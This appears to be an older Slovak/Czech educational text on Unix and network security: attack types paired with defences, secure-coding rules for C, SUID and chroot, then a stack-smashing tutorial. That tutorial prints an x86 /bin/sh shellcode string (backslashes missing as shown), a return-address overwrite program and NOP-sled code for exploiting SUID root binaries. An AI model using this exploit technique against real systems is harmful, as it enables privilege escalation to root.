    DNS-poisoning


  • Utocnikov DNS server s odpovedou na request posle aj 'otraveny' zaznam o inej domene,
    ktory dns server obete poslusne zaradi do svojej dns-cache



    Ochrana

  • pouzivat najnovsie verzie dns servrov/resolverov


    Flood


  • Zahltenie linky obete (DoS - Denial of Service)
  • moze byt bud trafficovy (velke mnozstvo dat)
  • alebo packetovy (velke mnozstvo malych packetov), takyto utok spolahlivo odrovna routre s poddimenzovanymi CPU (napriklad Cisco)



    Ochrana

  • blokovat broadcasty - tie funguju ako zosilnovace/nasobice trafficu pouzivane pri floodoch



    DDoS


  • Distributed Denial of Service - obdoba floodu, ale utok prevadza velka skupina utociacich pocitacov proti jednemu cielu
  • Trinoo/Strachelwald/TNF2K
  • Jedna sa asi o najzakernejsiu verziu DoS, proti ktorej neexistuje rychla a efektivna ochrana
  • Casto sa stava ze polozi nielen cielenu stanicu, ale aj celeho ISP a tento stav trva az pokial to utocnika neprestane bavit ):)



    Ochrana

  • jediny sposob ochrany je zablokovat na vsetkych vstupoch do siete ISP packety
    ktore sa daju nejakym sposobom identifikovat, ze patria k floodu. Vacsinou
    je to zial len identifikacia podla cielovej adresy, co znamena, ze obet
    nebude fungovat pocas doby kym je zavedeny filter u ISP.


    Virusy


  • po spusteni napadaju spustitelne subory (nebo systemove casti disku a disket, nebo treba
    makra word dokumentu), cim sa replikuju
  • na sieti sa siria pomocou zkopirovania na iny pocitac za pomoci uzivatela/cerva
  • nedestruktivne virusy nam zaberaju systemove prostriedky
  • destruktivne virusy su obzvlast nebezpecne, nicia uzivatelske data a casto aj system, dokonca
    sa objavili virusy ako CIH, ktore dokazali prepisat FLASH BIOS na niektorych pocitacoch
    a tym sposobit problem, ktory by sa dal nazvat hardwaroveho charakteru..
  • spionazne - zpristupnia Vase data nepovolanym ludom (mailom/inym sposobom ce internet)



    Ochrana

  • nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0




    Cervy

  • po spusteni sa siria na dalsie hostitelske pocitace pomocou remote exploitov nebo blbosti
    uzivatelu (treba stupid-click-on-me IloveYou)
  • priklad - Morrisov Internet Worm
  • velmi nebezpecnym virusom by mohol byt Seiheim, ktory mal byt vytvoreny Michalom Zalewskim, ten
    mal pracovat s online databazou exploitov, vediet samostatne mutovat, nedeterministicky
    sa zamaskovat, vyckat urcity cas a znova pokracovat vo svojej cinnosti. Taktiez mal byt
    nezavisly na platforme. Nastastie zatial nebol naprogramovany, takze mozme kludne spavat ;-) (no, to zase ne. mnoho lidi, i v .cz/.sk si s myslenkou podobnou shammhainu (ale jeste vic featured nes shammhain) stale pohrava ... pozn. -sd)



    Ochrana

  • mat system v aktualnej verzii a bezat len naozaj potrebne sluzby
  • tak ako u virusov - nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0



    Trojske kone

  • po spusteni otvoria zadne vratka na pocitaci obete, zvycajne o tom informuju
    utocnika pomocou emailu/irc/ftp/www alebo nejakeho specialneho packetu
  • ako vhodny priklad sa daju uviest vo windowsovom prostredi oblubene NTBUS alebo BackOrrifice



    Ochrana

  • tak ako u virusov - nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0




    MiM attack


  • Man In The Middle utok je realizovatelny v tedy, ked je utocnik schopny sledovat
    traffic (tok dat) medzi obetou a adresou, s ktorou obet komunikuje. Utocnik vstupi
    do tejto komunikacie s adresou obete, tvariac sa, ze komunikacia normalne
    pokracuje dalej. Samozrejme musi zabezpecit, aby sa obet uz neozyvala, to
    by narusovalo ukradnutu session (napriklad telnet). Preto moze utocnik pouzit
    niektory z DOS utokov na umlcanie obete.



    Ochrana

  • pouzivat sietove aplikacie, ktore pouzivaju nejaku formu kryptovania, alebo aspon checksumovania (kontrolnych suctov)
  • v pripade utoku kryptovane session s verejnym klicem je treba nejakym zpusobem
    zajistit aby server a client navzajem znali sve public key ze _zabezpeceneho_ zdroje, napr. ssh
    je porovnava z predchozich session.



    Cross site scripting

  • pri pouziti dynamickych web stranok sa casto stretavame s tym,
    ze url obsahuje otaznik a za nim rozne premenne. Spravnym nastavenim tychto
    premennych je mozne zmanipulovat beh programu (napriklad zmenit meno a cestu k
    suboru, ktory sa ma zobrazit, zmenit tabulku v sql databaze a pod.)
  • include a exec lokalneho/remote programu miesto mieneneho include lokalneho datoveho suboru



    Ochrana

  • overovanie vstupu, bezpecne nastavenie v php.ini



    BindShell

  • program, ktory po spusteni pocuva na urcenom porte. Po pripojeni sa nan ziskame
    shell na pocitaci obete.



    Ochrana

  • odfirewallovanie vsetkych portov, na ktorych nema pocuvat ziadna sluzba



    Buffer Overflow

  • pretecenie vyrovnavacej pamate



    Ochrana

  • decentralizovana
    • jednotlive aplikacie budu pisane bezpecne
    • kontrolovanie hranic buffra pri praci s nim
    • pouzivanie bezpecnych funkcii ako fgets(), strncat(), strncpy()
    • NEpouzivane/opatrne pouzivanie funkcii ako gets(), sprintf(), strcat(),
      strcpy(), streadd(), strecpy(), strtrns(), index(), fscanf(),
      sscanf(), vsprintf(), realpath(), getopt(), getpass()


  • centralizovana
    • systemove kniznice/jadro budu dohliadat nad bezpecnym chodom aplikacii
    • najjednoduchsie je pouzit maly patch na jadro systemu, ktory zaisti, ze stack nebude spustitelny
      toto riesenie zial velmi obmedzi chod aplikacii (prestanu fungovat 'trampolinove' funkcie)
      aj keby sme nastavovali executable prava na stack len ked ich potrebujeme je tu opat moznost zneuzitia. Nehlede na to ze v soucasne dobe se uz vi o mnoha
      technikach jak tyto kontroly obejit (call back into libc, napriklad)
    • OpenWall/GRsec
    • StackGuard
    • LIDS



    Heap Overflow - prepsani malloc()-okovane pameti

  • je to obdoba stack overflowu, ale nepreplnime buffer v zasobniku ale v bss, takze
    je tezssi na exploitovani (v bss nejsou zpravidla adresy navratu funkci), ale v soucasne
    dobe to je nejcasteji nachazena a zneuzivana chyba (php, openssl, openssh ...)



    Ochrana

  • spravne zaobchadzanie s datovymi typmi



    Format String Overflow

  • program sa spolieha pri pracovani s premennymi na to, ze neobsahuju ziadne formatovave znaky
  • nespravne pouzitie : printf(variable);



    Ochrana

  • spravne pouzitie: printf("%s", variable);
  • FormatGuard od Immunixu (nutne prekompilovat binarky)



    Enviroment PATH attack

  • vela uzivatelov zvykne do premennej PATH nastavit aktualny adresar ".", co sposobi,
    ze napriklad v adresari /tmp mozu spustit nechtiac podvrhnuty program


    Ochrana

  • nepridavat do premennej PATH aktualny adresar


    Enviroment IFS attack

  • IFS (Internal Field Separator) sluzi na oddelovanie slov na vstupe. V pripade ze je tato
    premenna nastavena na spravnu hodnotu, moze uzivatelovi sposobit, ze nechcene spusti nieco,
    co vobec nemal v umysle, alebo ovplyvni beh programov, ktore pouzivaju shellovske
    funkcie system() alebo popen().



    Ochrana

  • pouzivat shell, ktory automaticky premennu IFS vracia do prednastaveneho stavu ()
  • na zaciatku vlastneho programu nastavit IFS na vychodziu hodnotu
  • vseobecne je vhodne vo vlastnych programoch vsetky premenne prostredia vycistit a nastavit len tie,
    ktore nutne potrebujeme (napriklad na volanie externeho programu/funkcie)


    Utok cez mena suborov


  • Kedze unixove suborove systemy nemaju obmedzenia na mena suborov (okrem "/" a "0x0h")
    je mozne vytvorit subor, ktory zmatie prikazy ako find, xargs a podobne


    Ochrana

  • pouzivat cerstve verzie programov



    World/Group writable/readable subory

  • utocnik moze zmenit obsah startovacich suborov v domovskom adresari obete
    a tym spustit akykolvek program pod uid/gid obete, pripadne precitat meno/heslo z konfiguracie
    roznych programov



    Ochrana

  • nevytvarat world writable subory (umask 022)
  • subory s heslami/konfiguraciou mat s umask 077



    RootKit

  • Subor programov pomahajucich utocnikovi napadnuty stroj velmi rychlo osadit
    backdoormi a pripadne odstranit logy poukazujuce na utocnikovu cinnost.



    Bordelizator


  • Skript (zvycajne perl/shell), ktory spusta cielovy program so vstupmi generovanymi podla urcenych pravidiel
    a snazi sa prinutit tento program, aby skolaboval. Akonahle sa to podari, je tu pravdepodobnost, ze bude
    mozne nan napisat buffer overflow / heap overflow exploit. Da sa vyuzit za podpory jednoducheho
    programu v "C", ktory nam vrati obsah registra ESP po kolapse programu. Co pouzijeme pri hadani navratovej adresy.



    Ochrana


  • dobre napisany program overujuci vsetky vstupy a pouzivajuci bezpecne funkcie a kniznice.



    Password Cracking

  • hadanie hesiel z jednosmerne zakryptovanych suborov (unixova funkcia crypt() vyuzivajuca zvycajne DES alebo MD5 hash
  • crackovat mozme bud podla slovnika, alebo skusanim vsetkych kombinacii (Brute Force attack)


    Ochrana

  • Pouzivat silne hesla = vela znakov, pouzit male aj velke pismena, cisla a nealfanumericke znaky



    Obmedzenie bezpecnostnych chyb pri programovani



    Vyvojari definuju chybu (error) ako ludsky omyl pri navrhu a tvorbe programu. Vady (faults) su prejavy chyb,
    ktore mozu viest k zlyhaniu (failure). Neuspech je odchylka od specifikacie programu. Zvycajne sa aj vady
    oznacuju ako chyby (resp. bugs).



    V programe mozu byt chyby ale nemusia nutne sposobit problem pokial sa neprejavia zlyhanim. Testovanie ma viest
    k zlyhaniu pred tym ako sa program zacne pouzivat v ostrej prevadzke.
    Chyby v programe vznikaju tym, ze niekto urobil chybu, ci uz z neznalosti, uponahlanosti, neopatrnosti alebo z ineho dovodu.
    Vacsina unixoveho softwareu bola napisana bez detailnej specifikacie, preto sa casto stretavame s pojmom
    "it's not bug, it's feature.", ktory sa nas snazi presvedcit, ze "to nie je chyba, to je vymozenost".



    Program beziaci so superuzivatelskymi pravami by mal byt napisany tak bezpecne ako je to len mozne.
    V najlepsom pripade je ihned po vykonani privilegovanej operacie (napr. po nabindovani na port <1024)
    zahodit superuzivatelske privilegia a dalej bezat ako bezny uzivatel.
    V pripade ze zlyha program beziaci s uid0, moze to viest k naruseniu celeho systemu.



    Pri pisani programu treba mat v prvom rade jasny koncept, vediet presne ake budu vstupy a ake vystupy.



    Specialne sa treba zamerat na vstupy, aby nemohli ziadnym sposobom 'prekvapit' nas program,
    napr. necakanym formatovanim, velkostou a podobne.
    Pred volanim systemovych funkcii je vhodne testovat parametre s ktorymi ich ideme volat.
    Oplati sa preverit aj systemove premenne.
    Funkciam, ktore nerobia kontrolu hranic pri praci s retazcami volitelnej dlzky sa treba vyhnut. Napriklad
    toto su "nebezpecne" funkcie - gets(), strcpy(), strcat() a tu ich bezpecne verize - fgets(), strncpy(), strncat().



    Nasledujucim funkciam treba riadne prekontrolovat vstupne parametre, pretoze ich spravnym nastavenim je mozne sposobit
    preplnenie cieloveho buffra, pripadne interneho buffra s pevnou dlzkou - sprintf(), fscanf(), scanf(), sscanf(),
    vsprintf(), realpath(), getopt(), getpass(), streadd(), strecpy(), strtrns().
    Samozrejme v systeme sa moze nachadzat plno dalsich potencialne nebezpecnych funkcii, ich bezpecnost zavysi na tom
    ako bezpecne sa pouziju. Pri pouziti funkcii je dobre si overit, ci beru do uvahy obmedzenie maximalnou dlzkou.
    Vsimnite si tiez, ci v dokumentacii nieje uvedene, ze funkcia vracia pointer na nejaky staticky ulozny priestor.
    Pri preplneni vstupu takehoto bufferu okamzite vznikne problem.



    V Unixe mame z takmer kazdeho systemoveho volania navratovu hodnotu. Aj ked sme presvedceny, ze pouzite volanie
    write(), chdir(), chown() nemoze zlyhat, treba ratat s tym, ze vo vynimocnych pripadoch sa to predsa len moze stat.
    Utocnik/nahoda moze sposobit stav, ked systemove volanie zlyha a bez overenia navratoveho kodu sa o tom nedozvieme.
    Je teda dobre kontrolovat premennu errno a v pripade ze sa nerovna 1 ale nejakej zapornej hodnote, je vhodne podat
    o tom hlasenie a program ukoncit.



    "Co si sam neurobis nemas" - tymto prislovim je dobre sa riadit aj pri programovani. Netreba sa spoliehat na
    systemove premenne, ktore by mali byt defaultne nastavene, taktiez signaly, umask, aktualny adresar atd.
    Pokial je to mozne, najefektivnejsi sposob ako vycistit systemove premenne je pouzit envp.


    Pri programovani mozme pouzivat makro assert, ktore zaisti v pripade ze nejaka premenna neobsahuje hodnotu
    z definovaneho intervalu prerusenie programu s chybovou hlaskou. Treba si tu ale dat pozor na heisenbugy.



    Dobrou pomockou moze byt logovanie na vsetkych podstatnych miestach. V pripade ze sa ma logovat cez syslog
    treba kontrolovat dlzku parametrov predavanych syslogu.



    Pri kompilacii je dobre pouzit parameter -Wall, alebo aspon pred tym prebehnut zdrojaky lintom, ktory je
    schopny najst zakladne chyby.



    Casto sa stava ze programator nedostatocne kontroluje subory. Nasa aplikacia
    totiz nieje jedina, ktora bezi a moze sa stat, ze ina pristupi k suboru po
    tom co sme otestovali jeho spravnost a pred tym ako ideme s nim pracovat.
    Preto je dobre nepouzivat postup access() a open(), ale radsej subor otvorit
    a az potom fchown(), fchmod(), alebo fstat().



    Nieje vhodne nechavat v programe moznost volania noveho shellu. V dnesnom
    prostredi modernych unixov to uz nieje nutne. Rovnako sa treba vyvarovat
    volani system() a popen().



    Pri otvarani suborov je dobre pouzit priznaky O_EXCL|O_CREAT v pripade ze
    subor nema existovat, resp O_CREAT ak uz existuje. Zaruci to spravne chybove
    hlasenia.



    Na testovanie ci sa jedna o subor, alebo odkaz mozme pouzit lstat(). Netreba
    zabudnut, ze pokial je dany subor/linka vo verejne pristupnom adresari, moze
    sa to zmenit.. Najlepsie je pracovat so subormi v adresaroch nepristupnych
    pre ostatnych uzivatelov (samozrejme pokial je to mozne).



    Ak potrebujete ukladat uzivatelske hesla na autentifikaciu uzivatelov,
    ukladajte ich miesto plaintext formatu v kryptovanej podobe. Dnes je
    najvyuzivanejsi MD5 hash, co nieje vlastne sifra, ale kontrolny sucet, ale
    na nase ucely posluzi velmi dobre.




    Tvorba sietovych aplikacii



    Neodporuca sa pouzivat porty sluzieb "natvrdo", ale cez volanie getservbyname().

    Nedoverovat paketom len preto, ze prichadzaju z nizkych portov (<1024).

    Nedoverovat paketom len kvoli ich IP adrese.

    Pri zistovani mena hostu pouzivajte reverzne vyhladavanie aj so spatnym vyhladanim hosta.

    Je vhodne pouzit nejaku metodu limitacie pre pripad cieleneho/nahodneho pretazenia.

    Rozumne nastavovat timeouty na read/write zo siete.

    Samozrejme treba dokladne kontrolovat vstup na velkost.

    Moze byt vhodne pouzit auth sluzbu na prichodzie spojenia.

    Skuste sa vyvarovat pouzitiu clear-text loginu/hesla pri prenose po sieti.

    Podpora proxy (napriklad SOCKS) sa moze zist, ak to ma pre vas vyznam zahrnte ju do vasej aplikacie.

    Logovanie do suboru/syslogu by mala byt samozrejmost.

    Reakcia na signaly (napr. TERM) moze pomoct pri 'zmrznuti' aplikacie (napr. prilis vela timeoutov).

    Pri spusteni je dobre zistit si, ci uz nieje na danom servri tato aplikacia spustena, aby nedoslo k zablokovaniu.




    Pisanie SUID/SGID programov



    Nepiste ich. Vacsinou je to zbytocne. (UNIX System Security - Patrick H. Wood and Stephen G. Kochman, Hayden Books, 1985)



    Nepiste SUID SHELL scripty.



    Pokial chcete pouzit SUID program len pre pristup k nejakym suborom, skuste
    pouzvazovat, ci by sa to nedalo vyriestit pomocou nastavenia GID jednotlivym
    uzivatelom. Pripadne ci by nestacil SGID program. Ak uz musi byt SUID
    vytvorte prenho specialneho uzivatela. Tiez je dobre obmedzit jeho spustanie
    pomocou skupinovych prav.



    Ak potrebujete aby program prevadzal len jednu konkretnu operaciu s uid0,
    vytvorte k hlavnemu programu jeden jadnoucelovy maly, jednoduchy SUID
    program, ktory bude svedomite kontrolovat vstup z hlavneho programu.
    Vseobecne komunikacia hlavneho programu a tymto suidom musi byt co najdokonalejsia.



    Program by mal po pouziti zvysenych privilegii ihned zrusit ich vplyv a
    vratit sa k efektivnym a realnym UID a GID, ktory ten program spustil.



    Nevytvarajte prilis mnoho konfiguracnych moznosti v SUID programe, zbytocne
    sa tak zvysuje riziko chyby.



    Pokial je to mozne, vymazte prostredie shellu a vytvorte nutne zaznamy sami.
    Premennu PATH IFS je dobre nastavit na vychodziu hodnotu, napriklad:
    putenv("PATH=/bin:/usr/bin");
    putenv("IFS= tn");
    Nasledne si overte, ci su tieto premenne nastavene korektne a ci sa v
    systeme nenachadzaju aj dalsie zmienky o tychto premennych.



    Ak chcete spustat z vasej aplikacie dalsie programy, pouzivajte len volania
    execve(), exevc() a excl() a aj to s maximalnou opatrnostou.
    Nepouzivajte volanie execlp() a execvp(), pretoze tie pouzivaju premennu PATH.



    Ak by nahodou musel umoznovat spustanie shellu, pred vykonanim uzivatelskeho
    prikazu nezabudnite na setgid(getid()) a setuid(getuid()).



    Pri otvarani vsetkych suborov pouzivajte vzdy plne cesty. Nespoliehajte sa
    na aktualnu cestu po spusteni.



    Linkujte program staticky, vyhnete sa tak problemov s podvrhnutymi kniznicami.




    Pouzitie funkcie chroot()



    Zvysenu bezpecnost systemu mozte ziskat pomocou volania chroot().
    Toto volanie nastavi pre sputeny proces zadany korenovy adresar. Tym sa
    zamedzi pristupu do vyssich adresarov v stromovej strukture systemu.
    V pripade ze vas program potrebuje zdielane kniznice, musite mu ich
    nakopirovat do chrootovaneho prostredia, pripadne ho zkompilovat staticky.
    Pred pouzitim chrootu treba mysliet na syslog a je dobre bud spusit
    openlog(), alebo v chrootovanom prostredi vytvorit subor zariadenia /dev/log.
    Je dobre si uvedomit, ze ani chroot nie je vseliek. Dostatocne znaly utocnik
    sa moze vediet prebit aj z chrootu. Ztazit mu to mozete tak, ze chroote
    nechate naozaj len prikazy a subory, ktore tam nutne musia byt.



    Buffer Overflow


    Priklad pretecenia buffra:



    void function(char *str) {
    char buffer[16];
    strcpy(buffer,str);
    }


    void main() {
    char large_string[256];
    int i;
    for( i = 0; i < 255; i++)
    large_string[i] = 'A';
    function(large_string);
    }
    /pr.0xb.1/


    Po kompilacii a spusteni horeuvedeny kod vrati segmentation fault. To sa stane preto, ze
    function() sa pokusa kopirovat large_string do buffer pomocou strcpy(), ktore nerobi
    kontrolu hranic. strcpy() jednoducho pokracuje so zapisovanim, pokial neskonci large_string.
    To ma za nasledok prepisanie SFP, RET and *str. Znazornenie:



    +-----------------------+ +-----------------------+
    |,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|
    +-----------------------+ +-----------------------+
    |.uzivatelsky.zasobnik..| |.uzivatelsky.zasobnik..|
    +-----------------------+ +-----------------------+
    | *str | | strcpy() sa pokusi |
    +-----------------------+ | zapisat 256 bajtov do |
    | ret | ^ | do buffra,cim prepise |
    +-----------------------+ | | sftp, ret a *str. |
    | sfp | | | |
    +-----------------------+ | +-----------------------+
    | buffer[16] | | | buffer[16] |
    | | | | |
    +-----------------------+ +-----------------------+
    |.......heap............| |.......heap............|
    +-----------------------+ +-----------------------+
    |,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|
    +-----------------------+ +-----------------------+
    pred zavolanim strcpy() po zavolani strcpy()



    Zapisanim retazca A-ciek (0x41 hexa) do, a cez zasobnik sa zmenila navratova adresa
    mimo rozsah adresneho priestoru procesu. Proces nemoze nacitat dalsiu instrukciu
    a preto je ukonceny s hlaskou Segmentation Fault.

    Tento priklad ukazuje, ako sa da zmenit navratova adresa dynamickej funkcie pomocou
    pretecenia sposobeneho jednou funkciou ktora kopiruje blok dat bajt po bajte.
    Manipulacia s navratovou adresou funkcie v zasobniku je zaklad vsetkych Buffer Overrunov
    utociacich na SUID ROOT binarky. Zmenenim navratovej adresy pomocou statickeho retazca
    obsahujuceho shell kod spravi z obycajneho nekontrolovaneho kopirovania stringu instrukciu,
    ktora moze spustit lubovolny kod v zasobniku.




    Shell kod



    Ako sme si ukazali v predchadzajucom odstavci, manipulaciou dynamicky alokovanych premennych
    pomocou neohranicenych byte-copy operacii mozme spustit lubovonly kod cez navratovu adresu,
    ktora je 'slepo' obnovena zo zasobniku pri odchode z funkcie. Ak to aplikujeme na SUID ROOT
    binarku, utocnik si moze nechat spustit /bin/sh s pravami superuzivatela a ziska tak kontrolu
    nad celym systemom. Samozrejme moze pouzit aj iny shell, ale /bin/sh sa nachadza vo vsetkych
    UNIXovych systemoch a je predvoleny shell pre uzivatela root.

    Aby sme dosiahli spustenie interaktivneho shellu, niekde v pamati sa musi nachadzat staticka
    sekvencia spustenia /bin/sh, na ktoru bude ukazovat zmanipulovana navratova adresa.

    To sa da dosiahnut pouzitim assemblerovskeho hexadecimalneho stringu, ktory je binarnym
    ekvivalentom standartnej C funkcie execve(name[0], "/bin/sh", NULL). Samozrejme assemblerovsky
    ekvivalent k tomuto volaniu je zavysli na architekture. Za pouzitia debugovacich nastrojov
    je mozne rozdelit volanie ako execve(name[0], "/bin/sh", NULL) rozkuskovanim na jednotlive
    ASCII assemblerovske sekvencie a ich ulozenim v znakovom poli alebo inej spojitej datovej forme.
    Na Intel x86 stroji, na ktorom bezi Linux musime podniknut nasledujuce ktory na ziskanie shell kodu:



    1. V pamati sa vyskytuje nulou zakonceny string /bin/sh

    2. V pamati sa vyskytuje string /bin/sh zakonceny nulovym long-wordom

    3. 0xb sa kopiruje do EAX registra

    4. Adresa stringu /bin/sh sa zkopiruje do EBX registra

    5. Adresa stringu /bin/sh sa zkopiruje do ECX registra

    6. Adresa nuloveho long-wordu sa skopiruje do EDX registra

    7. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch

    8. 0x1 sa nakopiruje do EAX registra

    9. 0x0 sa nakopiruje do EBX registra

    a. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch



    Tento zoznam sa da zapisat do x86 shell kodu pomocou standartneho ANSI C znakoveho pola:



    char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
    "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
    "x80xe8xdcxffxffxff/bin/sh";


    Kombinacia prikladu buffer overflowu a shell kodu:



    char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
    "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
    "x80xe8xdcxffxffxff/bin/sh";


    char large_string[128];


    void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string; /* long_ptr obsahuje adresu large_stringu */


    /* prvych 32 bajtov large_stringu je vyplnenych adresou buffra */
    for( i = 0; i < 32; i++)
    *(long_ptr + i ) = (int) buffer;


    /* zkopiruj shell kod do large_stringu */
    for( i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];


    /* buffer dostane shell kod a 32 pointerov spat na seba sameho */
    strcpy(buffer,large_string);
    }
    /pr.0xc.1/


    Najprv je large_string vyplneny adresou buffra, ktora ukazuje na buducu poziciu v pamati,
    kde bude ulozena nas shell kod. Potom sa shell kod prekopiruje na zaciatok znakoveho pola large_string.
    Dalej strcpy() zkopiruje large_string do buffra, cim prepise navratovu adresu adresou shell kod sekvencie.
    Ked sa main() funkcia dokonci, program miesto navratu skoci na adresu nasho shell kodu a vykona ho.
    Vysledkom bude, ze dostanete interaktivny shell. Vpripade ze pouzivate napr. bash1, a tomu to testovaciemu
    programu nastavite SUID bit, interaktivny shell bude bezat s efektivnym uid euid(0).



    +-----------------------+ +-----------------------+
    |,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|
    +-----------------------+ +-----------------------+
    | uzivatelsky zasobnik | | uzivatelsky zasobnik |
    +-----------------------+ +-----------------------+
    | ret | | o ^ ret |
    +-----------------------+ +-s--v--|---------------+
    | sfp | | t e | sfp |
    +-----------------------+ +-r--r--|---------------+
    /----- | long_ptr | | c f | long_ptr|
    | +-----------------------+ +-p--l--|---------------+
    |(x32) | i | | y o | i |
    | +-----------------------+ +----w--|---------------+
    | /-- | buffer | /-> | | buffer |
    | | +-----------------------+ | +-----------------------+
    | -> | | -- | |
    | | | | |
    ----> | large_string[128] | | large_string[128] |
    | | | |
    /-> | | /-> | |
    | +-----------------------+ | +-----------------------+
    -- | shellcode[] | -- | shellcode[] |
    | | | |
    +-----------------------+ +-----------------------+
    |.......heap............| |.......heap............|
    +-----------------------+ +-----------------------+
    |,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|
    +-----------------------+ +-----------------------+
    pred zavolanim strcpy() po zavolani strcpy() ; ret je prepisany



    Realny stack smashing



    V predchadzajucom pripade sme mali pre jednoduchost predkompilovany shell kod ako
    sucast programu. UNIXove SUID root aplikacie urcite nebudu obsahovat shell kod :)
    Aby sme ich mohli exploitovat, potrebujeme najst sposob ako vlozit shell kod do prostredia
    beziaceho programu. Mozme to spravit cez prikazovy riadok, premenne shelloveho prostredia,
    alebo cez interaktivny vstup. Velmi dolezite je vediet kde v pamati sa potom bude shell kod
    nachadzat, preto utocnici zvycajne vyplnaju shell kod s NULL argumentom (co v assembleri
    znamena no-operation, cize procesor jednoducho skoci na dalsiu instrukciu v poradi) co im zaisti
    sirsi priestor na 'trafenie' spravnej navratovej adresy. Takyto postup doplneny o kopec
    navratovych adries na konci shell kodu je najcastejsie pouzivany pri vytvarani stack smashing
    exploitov. V pripade ze obetou je maly program s obmedzenymi pametovymi narokmi, exploit sa
    zvykne ulozit do premennej prostredia.



    Pisanie exploitov vyuzivajucich preplnenie zasobnika



    Zopakujme si rozlozenie zasobniku:



    +4 bajty | parametre ... |
    +-----------------------+
    +4 bajty | navratova adresa | velkost 4 bajty
    +-----------------------+
    SP | base pointer | velkost 4 bajty
    +-----------------------+
    -1024 bajtov | lokalne pole2[1024] | velkost 1024 bajtov
    +-----------------------+
    -2048 bajtov | lokalne pole1[1024] |
    +-----------------------+
    | ... |



    Zopakujme si princip buffer overflowu:

    Zapiseme do premennej pole2 tolko dat, aby sme prepisali base pointer (co je len
    vedlajsi efekt) a navratovu adresu (o to nam ide). V tomto pripade teda do
    pole2 musime zapisat 1032 bajtov (1024+4+4)


    +4 bajty | parametre ... |
    +-----------------------+
    +4 bajty | 4 krat "X" | velkost 4 bajty
    +-----------------------+
    SP | 4 krat "X" | velkost 4 bajty
    +-----------------------+
    -1024 bajtov | 1024 krat "X" | velkost 1024 bajtov
    +-----------------------+
    -2048 bajtov | lokalne pole1[1024] |
    +-----------------------+
    | ... |



    Samozrejme sami zapisane data nebudu "X", ale take, aby navratova adresa
    bola prepisana adresou nasho shell kodu, ktory ma byt vykonany pri
    ukoncovani programu, ked sa zavola ret. Samozrejme shell kod sa musi nejako
    dostat do programu. Idealne je zapisat do pole2 shell kod, a nakoniec adresu tohto shell kodu.
    Napriklad takto:


    +4 bajty | parametre ... |
    +-----------------------+
    +4 bajty | adresa shell kodu | ---
    +-----------------------+ |
    SP | 4 nevyznamne bajty | |
    +-----------------------+ |
    -1024 bajtov | shell kod | <--/
    +-----------------------+
    -2048 bajtov | lokalne pole1[1024] |
    +-----------------------+
    | ... |


    Takze teraz by sme potrebovali upravit nas shell kod, aby bol presne tak dlhy ako premenna,
    ktoru ideme prepisat, ba aj o cosi dlhsi ;-).

    Presne o 8 bajtov - base pointer (4bajty) + ret adresa(4bajty).

    Linearny diagram by mohol vyzerat asi takto: .... ...



    Priklad upravy x86 shell kodu:



    #define lv_size=1024; /* dlzka premennej, na ktoru utocime */
    char buffer[lv_size+8]; /* pozicia navratovej adresy */
    /* execshell je pole s nasim shell kodom */
    for(i=0;i<lv_size-strlen(execshell);i++)
    ptr[i]=0x90;
    for(i=0;i<strlen(execshell);i++)
    ptr[i+lv_size-strlen(execshell)]=execshell[i];



    Pripadne elegantnejsi sposob:


    #define lv_size=1024
    char buffer[lv_size+8]
    memset(ptr,0x90,lv_size-strlen(execshell));
    ptr+=lv_size-strlen(execshell);
    for(i=0;i<strlen(execshell);i++)
    *(ptr++)=execshell[i];


    Pre ine platformy ma instrukcia NOP (0x90) iny opcode.


    Ziskanie realnej adresy zasobnika


    Adresu ukazatela na zasobnik pred nastavenim lokalnych premennych a navratovej adresy
    nazvyme OSP - Original Stack Pointer.
    K OSP pridame taky offset, aby CPU skocilo niekde do bloku nasich -ov a po ich vykonani
    spustilo aj nas shell kod.



    +4 bajty | parametre ... |
    +-----------------------+
    +4 bajty | adresa OSP + offset | ---
    +-----------------------+ |
    SP | 4 nevyznamne bajty | |
    +-----------------------+ |
    -1024 bajtov | [shell kod] | |
    | [nop] | |
    | [nop] | ---/ OSP + offset
    | [nop] | -------
    | [nop] | | offset
    | [...] | | vacsi
    +-----------------------+ | ako
    -2048 bajtov | lokalne pole1[1024] | | 1024
    OSP -> +-----------------------+ -------/
    | ... |




    V tomto priklade sme mali pred premennou, ktoru sme modifikovali este jednu lokalnu premennu.
    Offset k OSP teda musel byt vacsi ako dlzka tejto lokalnej premennej, aby sme ju preskocili.
    Aby sme dostali adresu SP, pouzijeme funkciu get_sp(), jejiz portovatelna verze vypada zhruba takto:

    function unsigned long get_sp(void)
    {
    int x;
    return (unsigned long) &x;
    }

    Prvy Priklad zistenia SP:

    /* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
    ptr2=(long *)ptr;
    *ptr2=get_sp()+offset;


    Druhy (robustnejsi) priklad zistenia SP:

    /* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
    ptr2=(long *)ptr;
    for(i=1;<8;i++)
    *(ptr2++)=get_sp()+offset;


    Tento priklad zapisal navratovu adresu osem krat do zasobnika, takze aj v pripade ze adresa zasobnika
    nebola presne urcena mame vacsiu sancu ze sa trafime. Nutno poznamenat ze na architekturach
    kde stack roste od nizssich adres k vyssim musime adresu odcitat, tj. get_sp()-offset;




    Moduly jadra



    Moduly jadra (Hovori sa im tiez Loadable Kernel Modules [LKM]) po zavedeni do kernelu bezia
    s maximalnymi privilegiami a to v rezii kernelu. Preto musime zabezpecit, aby obycajny uzivatel
    nemal moznost vlozit do jadra nejaky modul, alebo aby nemohol pozmenit moduly ulozene v systeme.
